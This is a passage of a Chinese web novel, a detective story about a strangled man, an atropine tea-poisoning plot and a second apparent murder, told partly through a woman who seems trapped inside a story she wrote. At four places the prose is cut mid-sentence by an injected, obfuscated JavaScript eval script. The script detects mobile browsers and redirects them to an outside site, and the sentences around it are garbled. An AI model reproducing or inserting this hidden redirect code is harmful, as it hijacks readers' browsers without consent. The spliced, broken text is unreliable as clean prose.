宋林汐刚接过她递来的咖啡,许清宴的声音从门口飘来:“死者体内检测出了阿托品。” “阿托品?”肖明海家阳台,周烬川举着手机贴在耳旁,寻求确定似的重复了一遍。 “没错。”电话里传来许清宴的声音,“阿托品是一种经典抗胆碱能药物,一般可以用来缓解胃肠道绞痛或者治疗慢性心律失常。成年人口服超过十毫克就可能在一到两个小时之内死亡。” “不过在毕成家里并没有发现相关药物,而且没有达到致死剂量,他的直接死因还是机械性窒息。勒痕处皮肤提取到了皮革纤维碎屑,索沟内有不规则挫伤,作案工具很有可能是皮带。” “知道了。”周烬川挂断电话,转身看着客厅里像雕塑一样定在沙发上的夫妻。 “除了你,他还和别人打牌吗?或者他向你提到过什么人吗?”沈峋依旧耐着性子,尽管刚刚肖明海愣是把答非所问体现得淋漓尽致。 肖明海眯着眼,沉默好一会才不确定地说:“打牌的我不知道,不过他倒是跟我提过有个什么亲戚家的孩子考上了博士,还跟我嘚瑟。” “哼!你说亲戚家的孩子跟他有什么关系?瞅他那样,我估摸着那八成是他自己的孩子......” 沈峋轻微蹙眉:“你有什么依据?” “有一次我明里暗里地问过他,他装糊涂,但没否认。自家孩子炫耀起来还要藏着掖着......”肖明海的表情变得意味深长。 周烬川不知道什么时候走到他身边,凝声问:“那孩子叫什么?” 肖明海顿了顿,匿在脑海深处的两个字才牵上手:“好像叫……庞伟。” “确定吗?”沈峋问道。 迷离在肖明海漆黑的眸子里打了个转:“应该是吧,我记不清了……” “是。”一旁的女人突然轻声开口,“我记得,就叫这个名。” 她没抬头,两只手摆在大腿上。 肖明海剜了她一眼:“显着你了?都到饭点了还不去做饭!” 女人没敢吭声,又颤颤巍巍地挪着步子进了厨房。 这也算委婉地下逐客令了。 “那我们就不打扰了。”沈峋说着起身,“谢谢你的配合,如果有想起什么别的关于毕成的事烦请联系我们,什么事都可以。” 肖明海板着脸送他们到门口。周烬川忽然转过身问:“你平常爱喝茶吗?” 肖明海闻言顿住,鹰眼里的烦躁瞬间炸开:“不爱不爱!谁爱喝那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545239|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩意儿!快走快走!” 两人一踏出门,只听“嘭”一声巨响——门莫名其妙成了暴躁主人的受气包。 沈峋无奈耸了耸肩。当他和周烬川拐过两栋楼回到案发现场时,搜查人员已经撤得差不多了。 “庞伟……”沈峋神色复杂地开口,“这事有点怪。” 经过调查,五十三岁的毕成单身至今,父母很早就在老家离世,紧急联系人里也填不上什么名字,是个实打实的老光棍。可竟然在死后莫名冒出一个正在读博士的儿子。 周烬川看了一眼空荡荡的茶几。 如果阿托品是被混在茶叶里,倒是可以解释茶具消失的原因。 “烬川,你有没有在听我说话?” “我已经让宋林汐去查了。”周烬川一脸平静地冲沈峋一招手。 沈峋放下叉腰的手,踱步到茶几前:“如果尸体没有被动过,那毕成应该是在这个地方被人勒死的,而不是坐在沙发上。他当时背对着凶手,在做什么呢?” 周烬川按着沈峋的肩膀,手动把他的身高下调十公分,然后从背后环住他的脖子。 “不管他在做什么,那个时候他已经喝了茶。”周烬川松开手,“如果茶里本身就有毒,恐怕不需要多此一举。” 沈峋很快反应过来:“你是说有两个人想要杀他?” “而且他们事先还没有串通。”周烬川话锋一转,“肖明海......” “他确实不太对劲。”沈峋转过身,脑海里迅速重映了一遍刚才不愉快的对话,“遮遮掩掩的,还有他的妻子也有点怪。” “她怕肖明海。”周烬川说,“可能是逆来顺受惯了,也有可能近期遭受过家庭暴力。” 沈峋一惊。 “玻璃杯摔碎后,她下意识往自己头部护了一下。” “你怎么不早说?那我们刚刚还……” “分局的民警已经过去了。”周烬川又在客厅转了一圈,确认没有别的新收获后和沈峋下了楼。 老旧小区监控设施极其不完备,只有少数在公寓楼之间租个隔间出来开店的人家自费安装的监控,比如在毕成和肖明海住的两栋楼之间就有一家副食品商店。 沈峋进店拿出手机:“老板,这个人认识吗?” 老板是个地中海,年纪不大,只瞥了一眼就说:“认识,老肖嘛,经常来我这买烟。” “那他呢?”沈峋翻出毕成的照片。 老板眯起眼睛,思考了好一会才不确定地说:“好像没见过。” 沈峋点头道谢,转身和周烬川上了车。 “人死了药还在,难道凶手不是为了归识?”沈峋着实想不通一个平常连副食品店都不去的老光棍能和别人结下什么仇怨,“难道勒死他的人真的是单纯想劫财?那下毒的......” “从现场的情况来看,激情杀人,勒死可不是一个好选择。”周烬川淡定开口,“我倒觉得凶手是想杀人,顺便劫了个财。只是搜刮不仔细,漏掉了一笔巨款。” 沈峋不置可否。杀人后顺便劫财的凶手得是什么样的心理? 回市局的路上,庞伟的个人信息被传了过来,沈峋划拉着手机说:“庞伟,二十七岁,澜州科技大学博士在读……” 5. 我是凶手(四) “毕成还真可能有个儿子啊!”宋林汐不可思议地看向吸着冰美式的顾霁禾。打脸来得如此之快,她实在好奇此刻周烬川的表情。 顾霁禾若无其事抬起头,一脸平静地看着她:“我们现在是不是应该去排查毕成的人物关系和他手中归识的来源?周队和沈队什么时候回来?我应该做什么?” 宋林汐被顾霁禾问得一愣,只听一旁的许清宴不紧不慢地说:“活人的事就交给你们了。” 许清宴留下一个潇洒的背影,把剩下两对茫然的目光融在一起。 “许姐姐比较慢热。”宋林汐挤出一丝微笑,转而把键盘敲出火星子,“毕成不是本地人,户籍信息显示没有伴侣和子女,目前看来,他的主要关系人好像就只有牌友肖明海……” 顾霁禾听得认真,实则已经条分缕析罗列了一切可能—— 既然庞伟这个角色还在,杀人凶手的设定总不会变吧?至于杀人手法上的偏差……难不成是她某天心血来潮改了? 可是她来这里的意义到底是什么?把剧情线拽回去?难道不是她的存在才颠覆了剧情发展吗? 还有陈渡,她怎么也? “顾姐姐!”看得出来,再有耐心的人真发起飙来也是凶相毕露的。 虽然宋林汐比顾霁禾还小两岁,可论资历,她可是大学一毕业就被市局点名要了过来。 “我在。” 宋林汐顿了顿,一脸严肃道:“毕成家附近的监控传过来了,不过都是商店自行安装的,不知道有没有拍到什么线索。我现在要回现场去找毕成的邻居了解情况,看监控的重任就交给你了。” 顾霁禾应了一声,打开监控资料,映入眼帘的第一幅画面就是肖明海经过一家副食品店—— 她当时设计这个人物的作用是什么来着? 澜州科技大学的保安看到警务车瞬间赶走晌午的瞌睡,但没想到那辆车只是虚晃一枪,在太阳底下打了个双闪又悠哉悠哉地走了。 沈峋瞥一眼导航说:“前面右拐有个停车场。” 周烬川减缓车速,小心避着过往的学生和骑手:“联系上庞伟了吗?” “他说他在实验室,马上过来。” 两人刚停好车,分局民警的电话打了过来。 肖明海确有家暴事实,理由是怀疑自己的妻子“精神出轨”,而对象就是毕成。 几个月前,肖明海网购的时候不小心填错地址,快递小哥送到毕成家里,两个人就这么阴差阳错地认识了。 中老年人的消遣方式实在少得可怜,也不知怎么就双双染上了牌瘾。 知道毕成一个人生活后,肖明海就主动拉他来家里吃饭,这不吃不要紧,一吃……差点把自己老婆吃没了。 虽然他老婆从始至终都不肯承认。 “周队,我感觉那个人的思想就有问题。”民警说,“你说都怀疑上了打死不相往来不就好了?牌是照打不误,家门一关又拿老婆出气,算什么男人!” “行了,做好伤情鉴定,该拘拘,该罚罚,把他们在外面赚大钱的儿女都叫回来,先把家里头的事搞定再说。”沈峋顿了顿,“记得做一下毒检。” 沈峋挂断电话,手机紧接着收到肖明海经过副食品店的监控视频,时间显示今天早上八点零七分,距离报案前不到两个小时,而他走的方向,正是从毕成家所在的区域往自己家的方向。 沈峋放大视频,尽管有些模糊,还是能看到肖明海的外套胸口处鼓起一大块,似乎是藏了什么东西。 周烬川眉眼微蹙,用手比划了一下大小,几乎同时,庞伟出现在他们的视线里。 咚咚咚—— 毕成对门413室的主人是来这里打工的一对年轻夫妻,丈夫送货,妻子上午去甜品店,下午去便利店,这会正好回家吃个午饭。 不过对于毕成这个邻居,她似乎真的不熟,就连听到他的死讯也只是极快地惊讶了一下,更准确地说是害怕。 “你们的邻里关系怎么样?”面对这个看上去几乎和她同龄的女人,宋林汐尽量放缓语气。 “嗯……很一般。”女人看着她说,“我和老公刚搬来那会去过他家,但他好像不是很待见……或者说不是很想搭理我们吧,我们也没再去串门了,偶尔碰到也就打个招呼。” 宋林汐点点头,笔尖在纸上沙沙作响:“24号晚上你们在家吗?” 女人愣了愣,问道:“多晚?” 宋林汐笔尖一顿,微笑着抬头:“你们平常是什么时候下班的?” “八点左右,我老公会来店里接我,到家就快九点了。” “那天也是吗?” 女人点点头。 “那天回家的时候,有看到什么可疑的人,或者感觉对面有哪里不对劲吗?” 接近两个小时的重复性机械劳作后,比眼睛更先抗议的是顾霁禾的胃。 一大早莫名其妙来到这个地方,唯一入口的食物还是陈渡送来的咖啡,可怜她连饭在哪里吃都不知道,还没手机能点外卖。 经过她再三回忆,确认肖明海只是发现尸体的工具人,可偏偏监控里拍到了他急急忙忙路过副食品店,而那个方向......她已经记不清原剧情有没有这个细节了。 于是她拜托许清宴把视频传给周烬川,然后两人隔着空旷的办公区再无交流。那扇法医实验室的门始终紧闭着。 事业型女强人都是这么废寝忘食吗?她对自己的角色设定没这么狠吧? 正当饥饿虫即将蚕食她最后一丝理智时,那扇门终于开了。 “霁禾,一起去吃饭吗?” 及时雨啊! 食堂的配置竟让顾霁禾有几分恍惚——和她现实中的大学食堂实在太像了。 “想吃什么?”许清宴礼貌询问。 “都可以。”顾霁禾扫视一圈后才把目光落回小炒窗口。 顾霁禾给自己的定位就是顺其自然,随遇而安,生活目之所及皆为对付—— 饭能吃饱就行,衣服能穿就行,读书能毕业就行,要不是身边一直有絮叨的陈渡拉着,她差点就点上一盏青灯了。 可再怎么听天由命也不能一直呆在这个鬼地方啊! 许清宴端着几盘炒菜坐到对面,顾霁禾看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545240|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼后有点惊讶,那竟然都是她平常吃得最多的菜,除了...... 糖醋排骨。 “我就按我的口味来了。”许清宴抬头看着她,“可以吧?” “可以。”顾霁禾点点头,试探性问道,“你喜欢吃糖醋排骨吗?” 许清宴应了一声:“小时候我妈经常做,就喜欢上了。” 顾霁禾心里咯噔一下。 她从来没有安排过自己的角色喜欢吃什么,有什么兴趣爱好,那些细节对于剧情来说不足挂齿,可为什么偏偏是糖醋排骨? “而且我第一次对骨头产生兴趣也是因为这个。”许清宴用筷子戳了戳排骨上的软骨,“骨头里往往藏着很多秘密。” 顾霁禾顿时感觉后背一凉。果然法医看这种东西的角度都很特别。 “对于毕成被勒死的结果,你当时好像很惊讶?”许清宴猝不及防的一问瞬间止住顾霁禾发力的咬合肌,“能从勒死想到熟人作案,看来你很有经验。” “我可没这么想。”顾霁禾咽下嘴里的饭菜,抬头道,“巧合而已。” 许清宴意味不明地笑了笑。 “16号晚上?”澜州科技大学校内咖啡厅,沈峋对着手机重复了一遍。 宋林汐从毕成邻居口中得知,24号那晚她并没有发现什么异常,但16号晚上,她和老公加班回来,很清楚地听到毕成家里传来争吵。 只隔着一扇门,那些声音扎扎实实地撞进夫妻俩的耳朵里。 “没错,那天她老公发工资,所以记得很清楚。”宋林汐在电话那头说,“可惜他们没听懂,好像是某种方言。” “行,你先回去查查毕成老家那边还在的亲属,有必要的话出趟差。” “明白。”宋林汐打这通电话的时候已经一脚油门到了市局门口,她挂断电话,抬眸瞥到街口处有一个扶着墙的人影。 帽檐压得极低,左摇右晃地不知道在干什么。忽然间,他好像感受到不远处的视线,毫无征兆拔腿就跑。 宋林汐猛地推开车门,下意识冲进另一个街口。 澜州市这几年到处都在搞开发,尤其要保留古城区的古色古香,在一体化建设的多措并举下,这片城区所有街坊铺子都挂起了从一个模子里刻出来的牌坊,搞得本就犬牙交错的布局更加迷宫化。 宋林汐刚来那会愣是绕了好几圈才分清东南西北,然而那个人似乎比她如鱼得水多了,大白天的竟真的在这里人间蒸发了。 宋林汐叉腰叹了口气,脑子里描摹了一遍那个一晃而过的身影,脚步一抬遁入市局。 “刚刚市局门口有个可疑人。”宋林汐冲进监控室,往正抱着泡面吸溜的刑警肩膀上一拍,“是个男的,不高,戴着鸭舌帽,拐进老叔家饭店对面的巷子了,你查查看能不能找到。” 刑警连忙放下泡面,含糊不清地应了一声:“小宋姐,那个地方好像拍不到啊。” 刑警边说边调出画面,两侧三个探头都很完美地避开了那个角落。 “是个高手啊。”宋林汐冷笑一声,“你再查查附近的监控,找个人去老叔家饭店问一问。” 6. 我是凶手(五) 庞伟比照片上还要养眼,一八七大高个,宽肩窄腰,戴着一副银边眼镜,穿着一身西装,身上还隐隐散发着男士香水的味道。 虽然他不知道发生了什么,但面对两位警察丝毫没有慌张,反倒一副客气从容的模样。 一番简短的自我介绍后,沈峋直奔主题:“你认识毕成吗?” 庞伟的眉头拧了一下,用眼神接过沈峋手机里的照片。 “没印象。” 沈峋收回手机:“方便问一下你父母是做什么的吗?” 一般警方在找人询问之前往往都会先把对方的个人信息简单摸一边,所以不可能不清楚他的家庭状况。 庞伟心知肚明,但也十分配合:“我父亲是一家民营企业的经理,母亲是我们整个家庭的总经理。” 这个回答不免让人心有触动。 “好。”沈峋收回错愣,“24号晚上你在做什么?” 庞伟从进来就一直正襟危坐,本着不想惹是生非的态度拒绝了沈峋给他点杯咖啡的好意,只想让这场莫名的对话早点结束。直到这个问题出来,他隐隐察觉到两位警察来找他的意图。 “既然都到了问我不在场证明的地步……”庞伟直直看着沈峋,“沈警官,能不能先告诉我到底是什么事?好让我有个心理准备。” 周烬川好整以暇的目光在这个青年脸上逡巡一圈,不经意地开口:“恕我冒昧,你和你家庭的总经理应该长得不太像吧。” 对于庞伟来说,这句话简直是莫名其妙,但一看周烬川那张堪比冰山的脸也不知道该说什么。 “别介意,他说话的风格就是这样。”沈峋连忙打了圆场,“刚刚照片上的人在24号晚上去世了,是被人杀害的。” 听到莫名找上门的凶杀案,庞伟并没有表现出惊讶和恐惧。 “那和我有什么关系?”庞伟的语气硬了几分,“我不认识他。” “他有一个经常一起打牌的人,那个牌友说他经常提到你,并且——” 沈峋的目光在庞伟脸上停了几秒,将他眉宇间和毕成的那抹神似强化一番后,接着说,“他曾怀疑,毕成和你是父子关系。” 庞伟倏地一顿,确认自己没听错后,差点把精英阶层的包袱抖个粉碎,临了还是胸口的领带拽住了他最后一丝理智:“沈警官,这其中是不是有什么误会?” 沈峋望着他好不容易控制怒火的眼睛,缓声说:“抱歉,基于受害人目前的人际关系,我们必须排查清楚他所有的可能利害人。如果你真的不知情,可能需要配合我们做亲子鉴定。” “开什么玩笑?”庞伟终于扯开嗓子,但一顾虑到周边三三两两的顾客又压低声音,“请你们拿出确凿的证据。” 周烬川忽然开口:“事情已经告诉你了,你的心理准备也做完了吧?24号晚上你在哪?” 庞伟一下子没从山路十八弯的对话中回过神来,愣了几秒才没好气地说:“在学校,我住宿,平常一般不回家。”说完他还很配合地报出了同寝室友的名字。 “24号是星期五吧?”庞伟从手机里翻出一条朋友圈,“星期五晚上,我一般都会和几个同学出去小聚一下吃个夜宵,你们可以去这家海底捞查一查。” 沈峋对着他的手机屏幕拍了张照片:“谢谢你的配合。” “那种莫须有的猜测就别再拿上来了。”庞伟收回手机横了他们一眼,“如果没别的事我就先走了,我还要和导师去吃饭。” 原来打扮成这副样子是为了陪导师吃饭…… 沈峋还在考虑措辞,周烬川淡淡回应:“可以了,你回去吧。” 等庞伟走出咖啡馆,沈峋语带确信地说:“虽然毕成没了左眼,但总体来看,他们确实长得很像。” 还不是简单的神似,如果他们手头有毕成年轻时的照片,简直可以说是一个模子刻出来的。 “你觉不觉得他最后说的那句话有点奇怪?”周烬川回忆道,“莫须有的猜测……我们不是猜的,是肖明海直接告诉我们的。” 沈峋面露疑色,回想起刚刚庞伟的反应,分明是愤怒多于惊讶。也许他并非毫不知情。 “先去核实他的不在场证明。”周烬川说着站起来,几乎同时,手机里跳出宋林汐传来的监控截图。 “周队,这人是我在市局门口看见的,鬼鬼祟祟的,发现我在看他就跑了。”宋林汐在电话那头说,“跑太快了没追上,监控也只拍到那一帧画面,看不清人脸,我已经请画像师帮忙画像了。” “知道了。”周烬川把手机递给沈峋,转而发动警车。 “林汐,我们刚刚见过庞伟,他交代了24号晚上的行踪,我们核实完就回去。毕成老家那边的亲属查的怎么样?” “有点困难。他倒是没迁户口,但直系亲属都已经过世了。沈队,我感觉这个人的信息有点奇怪——” “他除了二十出头来到澜州,几乎没有别的人生经历,学校、工作地点、常住地……就连左花街那边的租房登记信息也是四五年前搬进去才有的。中间的这些年,他都在干什么?” 这个问题的答案作为有经验的刑警来说几乎是心照不宣的,更何况毕成家里还藏着归识。 “你去把他老家那边的档案调过来,其他的等我们回去再说。”沈峋顿了顿,“卓诚那边怎么样了?” 电话开着免提,陆卓诚的声音飘飘然飞过来:“我说两位,就这一瓶不知道有没有过期的药能说明什么?连一个指纹都没有,敢情是新鲜出炉就自己飞进死者口袋了?” 不用宋林汐回答,那个声音已经堵住沈峋的问题。 “功劳送到门口你都不要,陆卓诚,最近太闲了吧?”漫不经心的声音从手机里飘出来,不偏不倚正好绊住陆卓诚的嘴。 陆卓诚:“劳驾,两位好歹给我个受害人的流水明细吧?” 周烬川:“不好意思,我们也很想拿到受害人的手机。” 这俩声音一唱一和,愣是把异地不异心的宋林汐和沈峋给困住了。 一旁观战的顾霁禾倒是在心里偷乐——禁毒支队长陆卓诚,从某种程度上来说,就是来克周烬川的。 “周烬川!”陆卓诚咬牙道,“我一大早被你遛到朝南区,回到市局二话不说给我扔瓶药,直到刚刚我才知道受害人的名字,你自己把信息买断让我怎么查?信不信我……” “卓诚。”沈峋的声音非常合时宜地插进来,“我们也还在排查受害人的人际关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545241|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目前进展不太乐观,绝对不是故意不告诉你。你再等等,等我回去跟你说,你可以先问……” 话音顿在最后一个字,也不知道那头是谁挂了电话。 陆卓诚扶着额头,缓了缓才回过神坐到椅子上:“林汐,有这样的领导真是辛苦你了。” “嗯,陆队,其实周队他……” 虽然宋林汐已经正式上任将近一年,但她仍旧不明白这两位队长究竟为什么总是不对付,用沈峋的话来说,就是不要听不要管更不要劝。 当然这个问题的答案,顾霁禾心知肚明,只是她也没想到真实场景下两人的火药味会这么重。 “对了,那位年轻的姑娘是谁啊?不会是新来的受害人吧?”陆卓诚终于把似笑非笑的目光投向顾霁禾。 没错!被迫型受害人。 “陆队你好,我叫顾霁禾,是新来的实习顾问。”顾霁禾礼貌微笑,迎着那张有点假不正经的脸。 “实习顾问啊?”陆卓诚长着一双撩人的眼睛,“怎么想不通来周烬川手底下实习,要不要考虑换个单位?” “不用了。”顾霁禾脱口而出,毕竟专业不对口。 陆卓诚带着笑意的目光在她脸上停留了一会,然后啧啧嘴向宋林汐了解受害人情况去了。 顾霁禾百无聊赖地瞥了一眼墙上的钟,下午三点刚过。不出意外的话,嫌犯很快就会落网,就是审讯起来要花一番功夫。 顾霁禾随时随地都能开启冥想模式,自动把自己的大脑调成免打扰,加上本就会时不时出现暂时性失聪现象,以至于宋林汐又费力地叫了她好几遍。 “这位顾霁禾同学是听力不太好吗?”连陆卓诚都看不下去了。 “啊?有一点。”顾霁禾赔笑,“不好意思,我下次注意!” “没事,你的那位领导也经常不搭理人。”陆卓诚说。 顾霁禾:“……” 宋林汐见缝插针:“陆队,我现在手里的信息就这些,技侦那边还在尝试定位肖明海的手机,不过已经过去这么久,就算找到估计价值也不大了。” “得嘞,麻烦给你领导递个话,再有这种送上门的功劳我不介意让给他。”陆卓诚说完提着眼向顾霁禾和宋林汐打了个招呼,踱着步走出特侦办公区。 宋林汐长舒一口气:“顾姐姐,你别见怪,以后再遇到他俩阴阳怪气,假装没听见就行。” “不见怪。”顾霁禾微笑着凑到宋林汐身边,“需要我做什么吗?” “毕成老家派出所那边有个留档,他曾经给一个打架斗殴的人当过保证人,那个人叫谢大通,和毕成是老乡,咱们得去找他。” 顾霁禾听得一愣。谢大通?她对这个名字毫无印象。 谢大通的照片传来,顾霁禾紧紧盯着电脑屏幕—— 陌生,陌生得可怕。 “这个人……”宋林汐蹙眉,虽然已经是十几年前的照片了,但她总觉得有几分眼熟。 宋林汐对于人脸的记忆力非常了得,尤其是她来市局这一年,为了更快更好地适应工作,把往前十年的大案要案都翻了一遍,这张面孔似乎就匿在那一大堆犯罪分子里。 宋林汐迅速打开信息库,果然找到了这个人。 7. 我是凶手(六) 谢大通,七年前因贩毒被判刑,两个月前刚刚出狱。 “不会这么巧吧?”宋林汐若有所思地低喃了一句,“看来这下是非得请隔壁大神出动了。” 另一位大神刚从海底捞出来,耳边还响着沈峋的絮叨:“九点半进门,凌晨一点结束,这里离左花街少说也要一个小时的车程,庞伟没有作案时间。” 周烬川把手机往后一递:“他和毕成是老乡,很有可能就是16号晚上和他争吵的人。” “贩毒?”沈峋瞳孔微缩。 归识在ASDD患者眼里是神丹妙药,尽管它有百分之九十的可能会抹杀主格,留下不可控的暗格,可偏偏大多数人只想赌那百分之十。而经过近二十年的发酵,所谓的特效药和毒品之间的边界早就模糊了。 周烬川沉默片刻后说:“是时候去见见肖明海了。” 肖明海被拘在朝南区分局,再次见面,那双鹰眼里的锐气明显弱了。 沈峋盯着他好一会才沉声开口:“肖明海,今天早上八点左右你在做什么?” 肖明海的表情瞬间冻住。 “不记得了?”周烬川往前一倾,冷冷勾着他的眼神。 肖明海试图努力掩饰自己的慌张,可惜他的心理素质和身体本能完全忤逆了他的想法,尤其是在周烬川压迫神经的眼神下,他开始哆嗦。 沈峋不紧不慢翻出热乎的照片:“你说不爱喝茶,房间里却藏着一个茶壶,里头的残茶还没倒掉。是什么茶让你这么宝贝?” 肖明海眼皮一翻略过沈峋的手机,企图装傻到底:“什么茶?我不知道。” “那你的老伴有窦性心动过缓症,你总不会不知道吧?”沈峋翻出一张药品图,“残茶里检测出了这个药的成分,你能解释一下吗?” 继监控截图传来后,周烬川立刻让人再度“回访”肖明海的家,除了茶壶,还有一罐拆封没多久的茶叶,里头混着阿托品粉末。 “我不......我不知道。”肖明海仍旧不死心,“药是我老婆的,你去问她......” “你老婆就在外面。”周烬川冷冷打断,“她至今都想不明白,自己的药为什么会莫名其妙少了一盒。” 肖明海仿佛被当头打了一棒,彻底放弃最后的挣扎,眼神慌乱地扫过周烬川和沈峋:“毕成他......他是被勒死的,不是喝了茶才死的,是不是?是不是?” 三天前,疑似“被绿妄想症”患者肖明海终于把精心准备好的茶叶送到毕成手中,他很清楚毕成这个人嗜茶如命,尤其是好茶。 “可惜了。”肖明海神色忽变,懒洋洋地靠在审讯椅上,“早知道他还有仇人,我还费那么大劲干嘛?死东西,就他那样的也好意思看上我老婆?他另一只眼睛怎么也不瞎了呢!” “肖明海!”沈峋厉声道,“用幻想出来的仇恨去剥夺一个人的生命,你是不是还觉得很过瘾?” 肖明海明显顿了一下,没等他反应过来,审讯室外响起敲门声。周烬川起身拿过报告扫了一眼,坐回原位递给沈峋。 “知道归识吗?”周烬川问。 肖明海身体里没有检测出毒物反应。 回过神来的肖明海突然笑了一下:“两位警官,我可不是怪物。” “那你就是个蠢货了。”周烬川漫不经心地说,“一把年纪了不好好享受退休生活,非得去监狱里转悠,你找乐子的方式还挺小众。” 肖明海的笑容顿时僵住。 “两个茶杯在哪?”周烬川紧接着问。 肖明海的心情跟着大起大落,仿佛这一刻才终于接受自己故意杀人未遂的事实,又被周烬川没有任何语气的一骂击碎了所有尊严,而最后一句轻飘飘的问话却莫名扎扎实实钉进他耳朵里。 “什么茶杯?”他颤抖着开口。 周烬川也轻微一愣。搜查人员确实没有在肖明海家里找到茶杯,他原以为是被肖明海处理掉了,毕竟销毁两个小玩意要简单得多。可如今看他的神色,似乎真的对此不知情。 从审讯室出来,沈峋扫了一眼肖明海妻子的口供,说:“看来这个肖明海确实不是ASDD患者,应该也不知道毕成有归识。” “你是不是还在想茶杯的事?如果不是肖明海拿走的,那就只有可能是真正的凶手,可是他为什么要这么做呢?” “先回去。”周烬川说。 “诶,不去谢大通家里吗?” “不想碰到某个人。” 沈峋:“……” 此时某个人已经很顺利地把车停到谢大通住的筒子楼前,还十分绅士地把后座上的顾霁禾和宋林汐接了下来。 “这个人我有印象,当时是我师父抓的,我跟着他老人家审的。”陆卓诚走在前面,“没记错的话好像是九城区那一块,端了几个窝点,抓了几个人,不过领头的给跑了,至今没有消息。他就是个跑腿送货的。” 接近牛马人下班时间,筒子楼里的打工仔抱着一身为了装职场精英强行焊上去的行头,趿拉着步子从四面八方钻回自家狗窝。 谁也不知道白天和你一起一边diss老板上司一边点头哈腰的工位老友脱下工作服会是什么模样。 “小心点美女,高跟鞋不合脚就不要穿了。”陆卓诚拐进楼梯口,顺手扶了一把踩着恨天高差点摔个四仰八叉的小姑娘。 “谢……谢谢啊。”小姑娘看上去浓妆艳抹,一开口却是充满稚气的娃娃音。 “不用谢。”陆卓诚很自然地侧过身让出一个口子,等小姑娘走远才自言自语般感慨,“上个月刚扫了一个会所,像她这样的小姑娘少说也有二十来个,都打包进戒毒所了。年轻人想赚钱想得太急,不考虑后果啊……” 这番话被顾霁禾听进心里,有点不是滋味的同时也颇感讶异。她的故事开篇就是苏氏兄弟抢劫杀人案,在那之前的时间线,她不曾着墨。 敲门声打断她的思绪,里面却迟迟没有回应。比耐心先上来的是警察的直觉。 “砰”一声巨响过后,今天的第二具尸体出现在他们眼前。 就算是在筒子楼里,这个地方也绝对居于食物链末端。烟熏的墙壁把不足二十平的空间圈成了新型监禁室,木板床上随意搭着一条破布,唯一的一把木椅还是长短腿。 此刻门外的斜阳恰好落到这个地方,金灿灿的光漫在谢大通苍白的脸以及他手边的一滩血迹上。 等周烬川一行人赶到的时候,陆卓诚已经从床底的一大包“垃圾”里翻出了一顶鸭舌帽,和市局门口监控里拍到的一模一样。 沈峋拿着新鲜出炉的画像比对了一下,确认是同一个人。 “人割腕自杀,伤口一般为内侧单条平行浅伤,而这个伤口很深,动手的人没有丝毫犹豫。”许清宴拾起地上的玻璃碎片,“我推测可能是凶手把玻璃片放进死者手中,握住死者的手进行割腕。目前来看死者没有反抗痕迹,我需要尸检进一步确认。” 周烬川的目光在这个阴暗潮湿的空间转了几圈,最后停在门口脸色铁青的顾霁禾上。 “陆卓诚。”周烬川头也不回地说,“当时和谢大通一起被捕的人有些还在押吧?回去审。” 此刻的陆卓诚纵有千万个不乐意也不好怼回去,毕竟孰轻孰重他还是分得清的,最多只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545242|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在出门的时候不小心撞了一下周烬川的肩膀。 有人影从顾霁禾眼前晃过,她才从震惊中回过神来,一个完全在剧情之外的人莫名被害,她实在想不明白。 然而下一秒她就撞上周烬川冰冷深邃的眼睛,并且这双眼睛离他越来越近。 “出现场的时候不能瞎晃悠,也不能站着不动,你要是适应不了就打报告,我批。” 顾霁禾心里莫名窜起一股无名火,忍着劲说:“不用了周队,我能适应。” 直到夜幕完全笼罩,众人才坐上回市局的车。一下车,顾霁禾一眼瞧见熟悉的车牌号,奈何没等她抬步就被周烬川叫进办公室。 此刻的情景,简直和犯错学生面对不假辞色的老师一模一样。 周烬川坐在办公桌后面,面无表情地盯着电脑屏幕。顾霁禾微低着头站在他对面,心里盘算着等一下该怎么和陈渡解释这里莫名其妙的一切。 “解释一下。”周烬川忽然开口,“今天在毕成家里做出推测的理由。” 顾霁禾完全没料到周烬川会这么在意,一时之间也憋不出个所以然,只好拐弯抹角地问:“那我的推测是对的吗?” “错的。”周烬川脱口而出。 